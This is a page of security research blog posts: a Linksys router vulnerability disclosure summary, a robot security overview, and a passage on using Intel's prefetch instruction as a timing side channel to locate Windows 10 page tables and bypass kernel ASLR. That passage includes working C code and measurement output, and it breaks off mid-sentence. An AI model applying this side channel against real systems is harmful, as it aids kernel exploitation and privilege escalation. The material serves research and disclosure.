Last year I acquired a Linksys Smart Wi-Fi router, more specifically the EA3500 Series. I chose Linksys (previously owned by Cisco and currently owned by Belkin) due to its popularity and I thought that it would be interesting to have a look at a router heavily marketed outside of Asia, hoping to have different results than with my previous research on the BHU Wi-Fi uRouter, which is only distributed in China.

Smart Wi-Fi is the latest family of Linksys routers and includes more than 20 different models that use the latest 802.11N and 802.11AC standards. Even though they can be remotely managed from the Internet using the Linksys Smart Wi-Fi free service, we focused our research on the router itself.

Figure 1: Linksys EA3500 Series UART connection

With my friend @xarkes_, a security aficionado, we decided to analyze the firmware (i.e., the software installed on the router) in order to assess the security of the device. The technical details of our research will be published soon after Linksys releases a patch that addresses the issues we discovered, to ensure that all users with affected devices have enough time to upgrade.

In the meantime, we are providing an overview of our results, as well as key metrics to evaluate the overall impact of the vulnerabilities identified.

Security Vulnerabilities

After reverse engineering the router firmware, we identified a total of 10 security vulnerabilities, ranging from low- to high-risk issues, six of which can be exploited remotely by unauthenticated attackers.

Two of the security issues we identified allow unauthenticated attackers to create a Denial-of-Service (DoS) condition on the router. By sending a few requests or abusing a specific API, the router becomes unresponsive and even reboots. The Admin is then unable to access the web admin interface and users are unable to connect until the attacker stops the DoS attack.

Attackers can also bypass the authentication protecting the CGI scripts to collect technical and sensitive information about the router, such as the firmware version and Linux kernel version, the list of running processes, the list of connected USB devices, or the WPS pin for the Wi-Fi connection. Unauthenticated attackers can also harvest sensitive information, for instance using a set of APIs to list all connected devices and their respective operating systems, access the firewall configuration, read the FTP configuration settings, or extract the SMB server settings.

Finally, authenticated attackers can inject and execute commands on the operating system of the router with root privileges. One possible action for the attacker is to create backdoor accounts and gain persistent access to the router. Backdoor accounts would not be shown on the web admin interface and could not be removed using the Admin account. It should be noted that we did not find a way to bypass the authentication protecting the vulnerable API; this authentication is different than the authentication protecting the CGI scripts.

Linksys has provided a list of all affected models:

  • EA2700
  • EA2750
  • EA3500
  • EA4500v3
  • EA6100
  • EA6200
  • EA6300
  • EA6350v2
  • EA6350v3
  • EA6400
  • EA6500
  • EA6700
  • EA6900
  • EA7300
  • EA7400
  • EA7500
  • EA8300
  • EA8500
  • EA9200
  • EA9400
  • EA9500
  • WRT1200AC
  • WRT1900AC
  • WRT1900ACS
  • WRT3200ACM

Cooperative Disclosure
We disclosed the vulnerabilities and shared the technical details with Linksys in January 2017. Since then, we have been in constant communication with the vendor to validate the issues, evaluate the impact, and synchronize our respective disclosures.

We would like to emphasize that Linksys has been exemplary in handling the disclosure and we are happy to say they are taking security very seriously.

We acknowledge the challenge of reaching out to the end-users with security fixes when dealing with embedded devices. This is why Linksys is proactively publishing a security advisory to provide temporary solutions to prevent attackers from exploiting the security vulnerabilities we identified, until a new firmware version is available for all affected models.

Metrics and Impact 

As of now, we can already safely evaluate the impact of such vulnerabilities on Linksys Smart Wi-Fi routers. We used Shodan to identify vulnerable devices currently exposed on the Internet.

 

 

Figure 2: Repartition of vulnerable Linksys routers per country

We found about 7,000 vulnerable devices exposed at the time of the search. It should be noted that this number does not take into account vulnerable devices protected by strict firewall rules or running behind another network appliance, which could still be compromised by attackers who have access to the individual or company’s internal network.

A vast majority of the vulnerable devices (~69%) are located in the USA and the remainder are spread across the world, including Canada (~10%), Hong Kong (~1.8%), Chile (~1.5%), and the Netherlands (~1.4%). Venezuela, Argentina, Russia, Sweden, Norway, China, India, UK, Australia, and many other countries representing < 1% each.

We performed a mass-scan of the ~7,000 devices to identify the affected models. In addition, we tweaked our scan to find how many devices would be vulnerable to the OS command injection that requires the attacker to be authenticated. We leveraged a router API to determine if the router was using default credentials without having to actually authenticate.

We found that 11% of the ~7000 exposed devices were using default credentials and therefore could be rooted by attackers.

Recommendations

We advise Linksys Smart Wi-Fi users to carefully read the security advisory published by Linksys to protect themselves until a new firmware version is available. We also recommend users change the default password of the Admin account to protect the web admin interface.

Timeline Overview

  • January 17, 2017: IOActive sends a vulnerability report to Linksys with findings 
  • January 17, 2017: Linksys acknowledges receipt of the information
  • January 19, 2017: IOActive communicates its obligation to publicly disclose the issue within three months of reporting the vulnerabilities to Linksys, for the security of users
  • January 23, 2017: Linksys acknowledges IOActive’s intent to publish and timeline; requests notification prior to public disclosure
  • March 22, 2017: Linksys proposes release of a customer advisory with recommendations for  protection
  • March 23, 2017: IOActive agrees to Linksys proposal
  • March 24, 2017: Linksys confirms the list of vulnerable routers
  • April 20, 2017: Linksys releases an advisory with recommendations and IOActive publishes findings in a public blog post
RESEARCH | March 1, 2017

Hacking Robots Before Skynet

Robots are going mainstream in both private and public sectors – on military missions, performing surgery, building skyscrapers, assisting customers at stores, as healthcare attendants, as business assistants, and interacting closely with our families in a myriad of ways. Robots are already showing up in many of these roles today, and in the coming years they will become an ever more prominent part of our home and business lives. But similar to other new technologies, recent IOActive research has found robotic technologies to be highly insecure in a variety of ways that could pose serious threats to the people and organizations they operate in and around.
 
This blog post is intended to provide a brief overview of the full paper we’ve published based on this research, in which we discovered critical cybersecurity issues in several robots from multiple vendors. The goal is to make robots more secure and prevent vulnerabilities from being used maliciously by attackers to cause serious harm to businesses, consumers, and their surroundings. The paper contains more information about the research, findings, and cites many sources used in compiling the information presented in the paper and this post.
 
Robot Adoption and Cybersecurity
Robots are already showing up in thousands of homes and businesses. As many of these “smart” machines are self-propelled, it is important that they’re secure, well protected, and not easy to hack. If not, instead of helpful resources they could quickly become dangerous tools capable of wreaking havoc and causing substantive harm to their surroundings and the humans they’re designed to serve.
 
We’re already experiencing some of the consequences of substantial cybersecurity problems with Internet of Things (IoT) devices that are impacting the Internet, companies and commerce, and individual consumers alike. Cybersecurity problems in robots could have a much greater impact. When you think of robots as computers with arms, legs, or wheels, they become kinetic IoT devices that, if hacked, can pose new serious threats we have never encountered before.
 
With this in mind, we decided to attempt to hack some of the more popular home, business, and industrial robots currently available on the market. Our goal was to assess the cybersecurity of current robots and determine potential consequences of possible cyberattacks. Our results show how insecure and susceptible current robot technology is to cyberattacks, confirming our initial suspicions.
 
Cybersecurity Problems in Today’s Robots
We used our expertise in hacking computers and embedded devices to build a foundation of practical cyberattacks against robot ecosystems. A robot ecosystem is usually composed of the physical robot, an operating system, firmware, software, mobile/remote control applications, vendor Internet services, cloud services, networks, etc. The full ecosystem presents a huge attack surface with numerous options for cyberattacks.
 
We applied risk assessment and threat modeling tools to robot ecosystems to support our research efforts, allowing us to prioritize the critical and high cybersecurity risks for the robots we tested. We focused on assessing the most accessible components of robot ecosystems, such as mobile applications, operating systems, firmware images, and software. Although we didn’t have all the physical robots, it didn’t impact our research results. We had access to the core components, which provide most of the functionality for the robots; we could say these components “bring them to life.”
 
Our research covered home, business, and industrial robots, as well as the control software used by several other robots. The specific robot vendors evaluated in the research are identified in the published research paper.
 
We found nearly 50 cybersecurity vulnerabilities in the robot ecosystem components, many of which were common problems. While this may seem like a substantial number, it’s important to note that our testing was not even a deep, extensive security audit, as that would have taken a much larger investment of time and resources. The goal for this work was to gain a high level sense of how insecure today’s robots are, which we accomplished. We will continue researching this space and go deeper in future projects.
 
An explanation of each main cybersecurity issue discovered is available in the published research paper, but the following is a high-level (non-technical) list of what we found:
·         Insecure Communications
·         Authentication Issues
·         Missing Authorization
·         Weak Cryptography
·         Privacy Issues
·         Weak Default Configuration
·         Vulnerable Open Source Robot Frameworks and Libraries
 
We observed a broad problem in the robotics community: researchers and enthusiasts use the same – or very similar – tools, software, and design practices worldwide. For example, it is common for robots born as research projects to become commercial products with no additional cybersecurity protections; the security posture of the final product remains the same as the research or prototype robot. This practice results in poor cybersecurity defenses, since research and prototype robots are often designed and built with few or no protections. This lack of cybersecurity in commercial robots was clearly evident in our research.
 
Cyberattacks on Robots

Our research uncovered both critical- and high-risk cybersecurity problems in many robot features. Some of them could be directly abused, and others introduced severe threats. Examples of some of the common robot features identified in the research as possible attack threats are as follows:

  • Microphones and Cameras
  • External Services Interaction
  • Remote Control Applications
  • Modular Extensibility
  • Network Advertisement
  • Connection Ports
A full list with descriptions for each is available in the published paper.
 
New technologies are typically prone to security problems, as vendors prioritize time-to-market over security testing. We have seen vendors struggling with a growing number of cybersecurity issues in multiple industries where products are growing more connected, including notably IoT and automotive in recent years. This is usually the result of not considering cybersecurity at the beginning of the product lifecycle; fixing vulnerabilities becomes more complex and expensive after a product is released.
 
The full paper provides an overview of the many implications of insecure robots as they become more prominent in home, business, industry, healthcare, and other applications. We’ve also included many recommendations in the paper for ways to design and build robotic technology more securely based on our findings.
 
Click here for more information on the research and to view the full paper for additional details and descriptions.   
RESEARCH | January 25, 2017

Harmful prefetch on Intel

We’ve seen a lot of articles and presentations that show how the prefetch instruction can be used to bypass modern OS kernel implementations of ASLR. Most of the public work however only focuses on getting base addresses of modules with the idea of building a ROP chain or maybe patching some pointer/value of the data section. This post represents an extension of previous work, as it documents the usage of prefetch to discover PTEs on Windows 10.

You can find the code I used and perform the tests in your own processor at https://github.com/IOActive/I-know-where-your-page-lives/blob/master/prefetch/PrefetchASLRBypass.cpp

 
Introduction

I had the opportunity to give the talk, “I Know Where your Page Lives” late last year, first at ekoparty, and then at ZeroNights. The idea is simple enough: use TSX as a side channel to measure the difference in time between a mapped page and an unmapped page with the final goal of determining where the PML4-Self-Ref entry is located. You can find not only the slides but also the code that performs the address leaking and an exploit for CVE-2016-7255 as a demonstration of the technique at https://github.com/IOActive/I-know-where-your-page-lives.

After the presentation, different people approached and asked me about prefetch and BTB, and its potential usage to do the same thing. The truth is at the time, I was really skeptical about prefetch because my understanding was the only actual attack was the one named “Cache Probing” (/wp-content/uploads/2017/01/4977a191.pdf).

Indeed, I need to thank my friend Rohit Mothe (@rohitwas) because he made me realize I completely overlooked Anders Fogh’s and Daniel Gruss’ presentation: /wp-content/uploads/2017/01/us-16-Fogh-Using-Undocumented-CPU-Behaviour-To-See-Into-Kernel-Mode-And-Break-KASLR-In-The-Process.pdf.

So in this post I’m going to cover prefetch and say a few words about BTB. Let’s get into it:

Leaking with prefetch

For TSX, the routine that returned different values depending on whether the page was mapped or not was:

 

UINT64 side_channel_tsx(PVOID lpAddress) {
     UINT64 begin = 0;
     UINT64 difference = 0;
     int status = 0;
     unsigned int tsc_aux1 = 0;
     unsigned int tsc_aux2 = 0;
     begin = __rdtscp(&tsc_aux1);
     if ((status = _xbegin()) == _XBEGIN_STARTED) {
           *(char *)lpAddress = 0x00;
           difference = __rdtscp(&tsc_aux2) – begin;
           _xend();
     }
     else {
           difference = __rdtscp(&tsc_aux2) – begin;
     }
     return difference;

 

}
In the case of prefetch, this gets simplified:

 

UINT64 call_prefetch(PVOID address) {
     unsigned int tsc_aux0, tsc_aux1;
     UINT64 begin, difference = 0;
     begin = __rdtscp(&tsc_aux0);
     _m_prefetch((void *)address);
     difference = __rdtscp(&tsc_aux1) – begin;
     return difference;

 

}
 
The above routine gets compiled into the following:
.text:0000000140001300 unsigned __int64 call_prefetch(void *) proc near
.text:0000000140001300
.text:0000000140001300                 mov     [rsp+address], rcx
.text:0000000140001305                 sub     rsp, 28h
.text:0000000140001309                 mov     [rsp+28h+difference], 0
.text:0000000140001312                 rdtscp
.text:0000000140001315                 lea     r8, [rsp+28h+var_28]
.text:0000000140001319                 mov     [r8], ecx
.text:000000014000131C                 shl     rdx, 20h
.text:0000000140001320                 or      rax, rdx
.text:0000000140001323                 mov     [rsp+28h+var_18], rax
.text:0000000140001328                 mov     rax, [rsp+28h+address]
.text:000000014000132D                 prefetch byte ptr [rax]
.text:0000000140001330                 rdtscp
.text:0000000140001333                 lea     r8, [rsp+28h+var_24]
.text:0000000140001338                 mov     [r8], ecx
.text:000000014000133B                 shl     rdx, 20h
.text:000000014000133F                 or      rax, rdx
.text:0000000140001342                 sub     rax, [rsp+28h+var_18]
.text:0000000140001347                 mov     [rsp+28h+difference], rax
.text:000000014000134C                 mov     rax, [rsp+28h+difference]
.text:0000000140001351                 add     rsp, 28h
.text:0000000140001355                 retn
.text:0000000140001355 unsigned __int64 call_prefetch(void *) endp


And just with that, you’re now able to see differences between pages in Intel processors. Following is the measures for every potential PML4-Self-Ref:

C:>Prefetch.exe
+] Getting cycles for every potential address…
Virtual Addr: ffff804020100800 – Cycles: 41.374870
Virtual Addr: ffff80c060301808 – Cycles: 40.089081
Virtual Addr: ffff8140a0502810 – Cycles: 41.046860
Virtual Addr: ffff81c0e0703818 – Cycles: 41.114498
Virtual Addr: ffff824120904820 – Cycles: 43.001740
Virtual Addr: ffff82c160b05828 – Cycles: 41.283791
Virtual Addr: ffff8341a0d06830 – Cycles: 41.358360
Virtual Addr: ffff83c1e0f07838 – Cycles: 40.009399
Virtual Addr: ffff844221108840 – Cycles: 41.001652
Virtual Addr: ffff84c261309848 – Cycles: 40.981819
Virtual Addr: ffff8542a150a850 – Cycles: 40.149792
Virtual Addr: ffff85c2e170b858 – Cycles: 40.725040
Virtual Addr: ffff86432190c860 – Cycles: 40.291069
Virtual Addr: ffff86c361b0d868 – Cycles: 40.707722
Virtual Addr: ffff8743a1d0e870 – Cycles: 41.637531
Virtual Addr: ffff87c3e1f0f878 – Cycles: 40.152950
Virtual Addr: ffff884422110880 – Cycles: 39.376148
Virtual Addr: ffff88c462311888 – Cycles: 40.824200
Virtual Addr: ffff8944a2512890 – Cycles: 41.467430
Virtual Addr: ffff89c4e2713898 – Cycles: 40.785912
Virtual Addr: ffff8a45229148a0 – Cycles: 40.598949
Virtual Addr: ffff8ac562b158a8 – Cycles: 39.901249
Virtual Addr: ffff8b45a2d168b0 – Cycles: 42.094440
Virtual Addr: ffff8bc5e2f178b8 – Cycles: 39.765862
Virtual Addr: ffff8c46231188c0 – Cycles: 40.320999
Virtual Addr: ffff8cc6633198c8 – Cycles: 40.911572
Virtual Addr: ffff8d46a351a8d0 – Cycles: 42.405609
Virtual Addr: ffff8dc6e371b8d8 – Cycles: 39.770458
Virtual Addr: ffff8e472391c8e0 – Cycles: 40.235458
Virtual Addr: ffff8ec763b1d8e8 – Cycles: 41.618431
Virtual Addr: ffff8f47a3d1e8f0 – Cycles: 42.272690
Virtual Addr: ffff8fc7e3f1f8f8 – Cycles: 41.478119
Virtual Addr: ffff904824120900 – Cycles: 41.190731
Virtual Addr: ffff90c864321908 – Cycles: 40.296669
Virtual Addr: ffff9148a4522910 – Cycles: 41.237400
Virtual Addr: ffff91c8e4723918 – Cycles: 41.305069
Virtual Addr: ffff924924924920 – Cycles: 40.742580
Virtual Addr: ffff92c964b25928 – Cycles: 41.106258
Virtual Addr: ffff9349a4d26930 – Cycles: 40.168690
Virtual Addr: ffff93c9e4f27938 – Cycles: 40.182491
Virtual Addr: ffff944a25128940 – Cycles: 40.758980
Virtual Addr: ffff94ca65329948 – Cycles: 41.308441
Virtual Addr: ffff954aa552a950 – Cycles: 40.708359
Virtual Addr: ffff95cae572b958 – Cycles: 41.660400
Virtual Addr: ffff964b2592c960 – Cycles: 40.056969
Virtual Addr: ffff96cb65b2d968 – Cycles: 40.360249
Virtual Addr: ffff974ba5d2e970 – Cycles: 40.732380
Virtual Addr: ffff97cbe5f2f978 – Cycles: 31.727171
Virtual Addr: ffff984c26130980 – Cycles: 32.122742
Virtual Addr: ffff98cc66331988 – Cycles: 34.147800
Virtual Addr: ffff994ca6532990 – Cycles: 31.983770
Virtual Addr: ffff99cce6733998 – Cycles: 32.092171
Virtual Addr: ffff9a4d269349a0 – Cycles: 32.114910
Virtual Addr: ffff9acd66b359a8 – Cycles: 41.478668
Virtual Addr: ffff9b4da6d369b0 – Cycles: 41.786579
Virtual Addr: ffff9bcde6f379b8 – Cycles: 41.779861
Virtual Addr: ffff9c4e271389c0 – Cycles: 39.611729
Virtual Addr: ffff9cce673399c8 – Cycles: 40.474689
Virtual Addr: ffff9d4ea753a9d0 – Cycles: 40.876888
Virtual Addr: ffff9dcee773b9d8 – Cycles: 31.442320
Virtual Addr: ffff9e4f2793c9e0 – Cycles: 40.997681
Virtual Addr: ffff9ecf67b3d9e8 – Cycles: 40.554470
Virtual Addr: ffff9f4fa7d3e9f0 – Cycles: 39.774040
Virtual Addr: ffff9fcfe7f3f9f8 – Cycles: 40.116692
Virtual Addr: ffffa05028140a00 – Cycles: 41.208839
Virtual Addr: ffffa0d068341a08 – Cycles: 40.616745
Virtual Addr: ffffa150a8542a10 – Cycles: 40.826920
Virtual Addr: ffffa1d0e8743a18 – Cycles: 40.243439
Virtual Addr: ffffa25128944a20 – Cycles: 40.432339
Virtual Addr: ffffa2d168b45a28 – Cycles: 40.990879
Virtual Addr: ffffa351a8d46a30 – Cycles: 40.756161
Virtual Addr: ffffa3d1e8f47a38 – Cycles: 40.995461
Virtual Addr: ffffa45229148a40 – Cycles: 43.192520
Virtual Addr: ffffa4d269349a48 – Cycles: 39.994450
Virtual Addr: ffffa552a954aa50 – Cycles: 43.002972
Virtual Addr: ffffa5d2e974ba58 – Cycles: 40.611279
Virtual Addr: ffffa6532994ca60 – Cycles: 40.319969
Virtual Addr: ffffa6d369b4da68 – Cycles: 40.210579
Virtual Addr: ffffa753a9d4ea70 – Cycles: 41.015251
Virtual Addr: ffffa7d3e9f4fa78 – Cycles: 42.400841
Virtual Addr: ffffa8542a150a80 – Cycles: 40.551250
Virtual Addr: ffffa8d46a351a88 – Cycles: 41.424809
Virtual Addr: ffffa954aa552a90 – Cycles: 40.279469
Virtual Addr: ffffa9d4ea753a98 – Cycles: 40.707081
Virtual Addr: ffffaa552a954aa0 – Cycles: 41.050079
Virtual Addr: ffffaad56ab55aa8 – Cycles: 41.005859
Virtual Addr: ffffab55aad56ab0 – Cycles: 42.017422
Virtual Addr: ffffabd5eaf57ab8 – Cycles: 40.963120
Virtual Addr: ffffac562b158ac0 – Cycles: 40.547939
Virtual Addr: ffffacd66b359ac8 – Cycles: 41.426441
Virtual Addr: ffffad56ab55aad0 – Cycles: 40.856972
Virtual Addr: ffffadd6eb75bad8 – Cycles: 41.298321
Virtual Addr: ffffae572b95cae0 – Cycles: 41.048382
Virtual Addr: ffffaed76bb5dae8 – Cycles: 40.133049
Virtual Addr: ffffaf57abd5eaf0 – Cycles: 40.949371
Virtual Addr: ffffafd7ebf5faf8 – Cycles: 41.055511
Virtual Addr: ffffb0582c160b00 – Cycles: 40.668652
Virtual Addr: ffffb0d86c361b08 – Cycles: 40.307072
Virtual Addr: ffffb158ac562b10 – Cycles: 40.961208
Virtual Addr: ffffb1d8ec763b18 – Cycles: 40.545219
Virtual Addr: ffffb2592c964b20 – Cycles: 39.612350
Virtual Addr: ffffb2d96cb65b28 – Cycles: 39.871761
Virtual Addr: ffffb359acd66b30 – Cycles: 40.954922
Virtual Addr: ffffb3d9ecf67b38 – Cycles: 41.128891
Virtual Addr: ffffb45a2d168b40 – Cycles: 41.765820
Virtual Addr: ffffb4da6d369b48 – Cycles: 40.116150
Virtual Addr: ffffb55aad56ab50 – Cycles: 40.142132
Virtual Addr: ffffb5daed76bb58 – Cycles: 41.128342
Virtual Addr: ffffb65b2d96cb60 – Cycles: 40.538609
Virtual Addr: ffffb6db6db6db68 – Cycles: 40.816090
Virtual Addr: ffffb75badd6eb70 – Cycles: 39.971680
Virtual Addr: ffffb7dbedf6fb78 – Cycles: 40.195480
Virtual Addr: ffffb85c2e170b80 – Cycles: 41.769852
Virtual Addr: ffffb8dc6e371b88 – Cycles: 39.495258
Virtual Addr: ffffb95cae572b90 – Cycles: 40.671532
Virtual Addr: ffffb9dcee773b98 – Cycles: 42.109299
Virtual Addr: ffffba5d2e974ba0 – Cycles: 40.634399
Virtual Addr: ffffbadd6eb75ba8 – Cycles: 41.174549
Virtual Addr: ffffbb5daed76bb0 – Cycles: 39.653481
Virtual Addr: ffffbbddeef77bb8 – Cycles: 40.941380
Virtual Addr: ffffbc5e2f178bc0 – Cycles: 40.250462
Virtual Addr: ffffbcde6f379bc8 – Cycles: 40.802891
Virtual Addr: ffffbd5eaf57abd0 – Cycles: 39.887249
Virtual Addr: ffffbddeef77bbd8 – Cycles: 41.297520
Virtual Addr: ffffbe5f2f97cbe0 – Cycles: 41.927601
Virtual Addr: ffffbedf6fb7dbe8 – Cycles: 40.665009
Virtual Addr: ffffbf5fafd7ebf0 – Cycles: 40.985100
Virtual Addr: ffffbfdfeff7fbf8 – Cycles: 39.987282
Virtual Addr: ffffc06030180c00 – Cycles: 40.732288
Virtual Addr: ffffc0e070381c08 – Cycles: 39.492901
Virtual Addr: ffffc160b0582c10 – Cycles: 62.125061
Virtual Addr: ffffc1e0f0783c18 – Cycles: 42.010689
Virtual Addr: ffffc26130984c20 – Cycles: 62.628231
Virtual Addr: ffffc2e170b85c28 – Cycles: 40.704681
Virtual Addr: ffffc361b0d86c30 – Cycles: 40.894249
Virtual Addr: ffffc3e1f0f87c38 – Cycles: 40.582729
Virtual Addr: ffffc46231188c40 – Cycles: 40.770050
Virtual Addr: ffffc4e271389c48 – Cycles: 41.601028
Virtual Addr: ffffc562b158ac50 – Cycles: 41.637402
Virtual Addr: ffffc5e2f178bc58 – Cycles: 41.289742
Virtual Addr: ffffc6633198cc60 – Cycles: 41.506741
Virtual Addr: ffffc6e371b8dc68 – Cycles: 41.459251
Virtual Addr: ffffc763b1d8ec70 – Cycles: 40.916824
Virtual Addr: ffffc7e3f1f8fc78 – Cycles: 41.244968
Virtual Addr: ffffc86432190c80 – Cycles: 39.862148
Virtual Addr: ffffc8e472391c88 – Cycles: 41.910854
Virtual Addr: ffffc964b2592c90 – Cycles: 41.935471
Virtual Addr: ffffc9e4f2793c98 – Cycles: 41.454491
Virtual Addr: ffffca6532994ca0 – Cycles: 40.622150
Virtual Addr: ffffcae572b95ca8 – Cycles: 40.925949
Virtual Addr: ffffcb65b2d96cb0 – Cycles: 41.327599
Virtual Addr: ffffcbe5f2f97cb8 – Cycles: 40.444920
Virtual Addr: ffffcc6633198cc0 – Cycles: 40.736252
Virtual Addr: ffffcce673399cc8 – Cycles: 41.685032
Virtual Addr: ffffcd66b359acd0 – Cycles: 41.582249
Virtual Addr: ffffcde6f379bcd8 – Cycles: 40.410240
Virtual Addr: ffffce673399cce0 – Cycles: 41.034451
Virtual Addr: ffffcee773b9dce8 – Cycles: 41.342724
Virtual Addr: ffffcf67b3d9ecf0 – Cycles: 40.245430
Virtual Addr: ffffcfe7f3f9fcf8 – Cycles: 40.344818
Virtual Addr: ffffd068341a0d00 – Cycles: 40.897160
Virtual Addr: ffffd0e8743a1d08 – Cycles: 40.368290
Virtual Addr: ffffd168b45a2d10 – Cycles: 39.570740
Virtual Addr: ffffd1e8f47a3d18 – Cycles: 40.717129
Virtual Addr: ffffd269349a4d20 – Cycles: 39.548271
Virtual Addr: ffffd2e974ba5d28 – Cycles: 39.956161
Virtual Addr: ffffd369b4da6d30 – Cycles: 39.555321
Virtual Addr: ffffd3e9f4fa7d38 – Cycles: 41.690128
Virtual Addr: ffffd46a351a8d40 – Cycles: 41.191399
Virtual Addr: ffffd4ea753a9d48 – Cycles: 40.657902
Virtual Addr: ffffd56ab55aad50 – Cycles: 40.946331
Virtual Addr: ffffd5eaf57abd58 – Cycles: 39.740921
Virtual Addr: ffffd66b359acd60 – Cycles: 40.062698
Virtual Addr: ffffd6eb75badd68 – Cycles: 40.273781
Virtual Addr: ffffd76bb5daed70 – Cycles: 39.467190
Virtual Addr: ffffd7ebf5fafd78 – Cycles: 39.857071
Virtual Addr: ffffd86c361b0d80 – Cycles: 41.169140
Virtual Addr: ffffd8ec763b1d88 – Cycles: 40.892979
Virtual Addr: ffffd96cb65b2d90 – Cycles: 39.255680
Virtual Addr: ffffd9ecf67b3d98 – Cycles: 40.886719
Virtual Addr: ffffda6d369b4da0 – Cycles: 40.202129
Virtual Addr: ffffdaed76bb5da8 – Cycles: 41.193420
Virtual Addr: ffffdb6db6db6db0 – Cycles: 40.386261
Virtual Addr: ffffdbedf6fb7db8 – Cycles: 40.713581
Virtual Addr: ffffdc6e371b8dc0 – Cycles: 41.282349
Virtual Addr: ffffdcee773b9dc8 – Cycles: 41.569183
Virtual Addr: ffffdd6eb75badd0 – Cycles: 40.184349
Virtual Addr: ffffddeef77bbdd8 – Cycles: 42.102409
Virtual Addr: ffffde6f379bcde0 – Cycles: 41.063648
Virtual Addr: ffffdeef77bbdde8 – Cycles: 40.938492
Virtual Addr: ffffdf6fb7dbedf0 – Cycles: 41.528851
Virtual Addr: ffffdfeff7fbfdf8 – Cycles: 41.276009
Virtual Addr: ffffe070381c0e00 – Cycles: 41.012699
Virtual Addr: ffffe0f0783c1e08 – Cycles: 41.423889
Virtual Addr: ffffe170b85c2e10 – Cycles: 41.513340
Virtual Addr: ffffe1f0f87c3e18 – Cycles: 40.686562
Virtual Addr: ffffe271389c4e20 – Cycles: 40.210960
Virtual Addr: ffffe2f178bc5e28 – Cycles: 41.176430
Virtual Addr: ffffe371b8dc6e30 – Cycles: 40.402931
Virtual Addr: ffffe3f1f8fc7e38 – Cycles: 40.855640
Virtual Addr: ffffe472391c8e40 – Cycles: 41.086658
Virtual Addr: ffffe4f2793c9e48 – Cycles: 40.050758
Virtual Addr: ffffe572b95cae50 – Cycles: 39.898472
Virtual Addr: ffffe5f2f97cbe58 – Cycles: 40.392891
Virtual Addr: ffffe673399cce60 – Cycles: 40.588020
Virtual Addr: ffffe6f379bcde68 – Cycles: 41.702358
Virtual Addr: ffffe773b9dcee70 – Cycles: 42.991379
Virtual Addr: ffffe7f3f9fcfe78 – Cycles: 40.020180
Virtual Addr: ffffe8743a1d0e80 – Cycles: 40.672359
Virtual Addr: ffffe8f47a3d1e88 – Cycles: 40.423599
Virtual Addr: ffffe974ba5d2e90 – Cycles: 40.895100
Virtual Addr: ffffe9f4fa7d3e98 – Cycles: 42.556950
Virtual Addr: ffffea753a9d4ea0 – Cycles: 40.820259
Virtual Addr: ffffeaf57abd5ea8 – Cycles: 41.919361
Virtual Addr: ffffeb75badd6eb0 – Cycles: 40.768051
Virtual Addr: ffffebf5fafd7eb8 – Cycles: 41.210018
Virtual Addr: ffffec763b1d8ec0 – Cycles: 40.899940
Virtual Addr: ffffecf67b3d9ec8 – Cycles: 42.258720
Virtual Addr: ffffed76bb5daed0 – Cycles: 39.800220
Virtual Addr: ffffedf6fb7dbed8 – Cycles: 42.848492
Virtual Addr: ffffee773b9dcee0 – Cycles: 41.599060
Virtual Addr: ffffeef77bbddee8 – Cycles: 41.845619
Virtual Addr: ffffef77bbddeef0 – Cycles: 40.401878
Virtual Addr: ffffeff7fbfdfef8 – Cycles: 40.292400
Virtual Addr: fffff0783c1e0f00 – Cycles: 40.361198
Virtual Addr: fffff0f87c3e1f08 – Cycles: 39.797661
Virtual Addr: fffff178bc5e2f10 – Cycles: 42.765659
Virtual Addr: fffff1f8fc7e3f18 – Cycles: 42.878502
Virtual Addr: fffff2793c9e4f20 – Cycles: 41.923882
Virtual Addr: fffff2f97cbe5f28 – Cycles: 42.792019
Virtual Addr: fffff379bcde6f30 – Cycles: 41.418400
Virtual Addr: fffff3f9fcfe7f38 – Cycles: 42.002159
Virtual Addr: fffff47a3d1e8f40 – Cycles: 41.916740
Virtual Addr: fffff4fa7d3e9f48 – Cycles: 40.134121
Virtual Addr: fffff57abd5eaf50 – Cycles: 40.031391
Virtual Addr: fffff5fafd7ebf58 – Cycles: 34.016159
Virtual Addr: fffff67b3d9ecf60 – Cycles: 41.908691
Virtual Addr: fffff6fb7dbedf68 – Cycles: 42.093719
Virtual Addr: fffff77bbddeef70 – Cycles: 42.282581
Virtual Addr: fffff7fbfdfeff78 – Cycles: 42.321220
Virtual Addr: fffff87c3e1f0f80 – Cycles: 42.248032
Virtual Addr: fffff8fc7e3f1f88 – Cycles: 42.477551
Virtual Addr: fffff97cbe5f2f90 – Cycles: 41.249981
Virtual Addr: fffff9fcfe7f3f98 – Cycles: 43.526272
Virtual Addr: fffffa7d3e9f4fa0 – Cycles: 41.528671
Virtual Addr: fffffafd7ebf5fa8 – Cycles: 41.014912
Virtual Addr: fffffb7dbedf6fb0 – Cycles: 42.411629
Virtual Addr: fffffbfdfeff7fb8 – Cycles: 42.263859
Virtual Addr: fffffc7e3f1f8fc0 – Cycles: 40.834549
Virtual Addr: fffffcfe7f3f9fc8 – Cycles: 42.805450
Virtual Addr: fffffd7ebf5fafd0 – Cycles: 45.597767
Virtual Addr: fffffdfeff7fbfd8 – Cycles: 41.253361
Virtual Addr: fffffe7f3f9fcfe0 – Cycles: 41.422379
Virtual Addr: fffffeff7fbfdfe8 – Cycles: 42.559212
Virtual Addr: ffffff7fbfdfeff0 – Cycles: 43.460941
Virtual Addr: fffffffffffffff8 – Cycles: 40.009121


From the above output, we can distinguish three different groups:

1) Pages that are mapped: ~32 cycles
2) Pages that are partially mapped: ~41 cycles
3) Totally unmapped regions: ~63 cycles

The 2nd group stand for pages which don’t have PTEs but do have PDE, PDPTE or PML4E. Given that we know this will be the largest group of the three, we could take the average of the whole sample as a reference to know if a page doesn’t have a PTE. In this case, the value is 40.89024529.
Now, to establish a threshold for further checks I used the following simple formula:DIFFERENCE_THRESHOLD = abs(get_array_average()-Mapped_time)/2 – 1;Where get_array_average() returns 40.89024529 as we stated before and Mapped_time is the lower value of all the group: 31.44232.From this point, we can now process each virtual address which has a value that is close to the Mapped_time based on the threshold. As in the case of TSX, the procedure consists in treating the potential indexes as the real one and test for several PTEs of previously allocated pages.Finally, to discard the dummy entries we test for the PTE of a known UNMAPPED REGION. For this I’m calculating the PTE of the address 0x180c06000000 (0x30 for every index) which normally is always unmapped for our process.Results on Intel Skylake i7 6700HQ:

 

Results on Intel Xeon E5-2686 v4 (Amazon EC2):

In both cases, this worked perfectly… Of course it doesn’t make sense to use this technique in Windows versions before 10 or Server 2016 but I did it to show the result matches the known self-ref entry.

Now, what is weird is that I also tested in another EC2 instance from Amazon, this time an Intel Xeon E5-2676 v3, and the thing is it didn’t work at all:

